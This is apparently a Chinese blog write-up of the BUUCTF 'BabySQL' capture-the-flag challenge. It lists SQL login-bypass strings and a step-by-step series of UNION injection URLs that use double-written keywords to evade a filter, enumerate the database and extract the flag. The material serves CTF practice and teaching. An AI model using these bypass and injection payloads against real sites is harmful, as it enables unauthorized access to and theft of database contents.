BUUCTF [web专项15][极客大挑战 2019]BabySQL

其实这题找出来万能钥匙成功登录后就没有想法了,看了一下别人的思路再做就ok了

参考:BUUCTF[极客大挑战 2019]BabySQL-CSDN博客

进入后发现是个登陆界面

测试万能钥匙

1‘or'1'='1'#
1:"or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:1 or '1'='1'=1
12:1 or '1'='1' or 1=1
13: 'OR 1=1%00

试一遍之后会发现or可能被过滤掉了,因为只有当or的形式变成非连接符的时候才可以通过

进入后获得账号密码,用此账号密码进行登录,并在进行的同时进行注入操作

测试列数(密码需要自行修改)

/check.php?username=admin&password=4bb9d13cbe5356ebd76355da22582e42' oorrder bbyy 4%23 不存在
/check.php?username=admin&password=4bb9d13cbe5356ebd76355da22582e42' oorrder bbyy 3%23  存在

发现共有三列,开始测回显点

(需要双写绕过,正常写会有提示错误)

/check.php?username=admin&password=1'ununionion seselectlect 1,2,3%23

爆库

/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata %23

感觉在ctf中,再爆一下表

/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables %23

查看表Flag下的字段

/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' %23

发现下面有个flag字段,选择爆数据

/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(flag) frfromom Flag %23

 

 发现出现错误,Flag并不在当前库,那就需要查看Flag在那个库中

/check.php?username=admin&password=1 'ununionion seselectlect 1,2,select table_schema frfromom infoorrmation_schema.tables whwhereere table_name='Flag'%23

查出来后发现是在ctf中,那就好办了

开始爆Flag中的flag内容

/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag %23

出现flag

flag{9a4509a3-34ae-48f9-9eae-0ed006f45c79}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值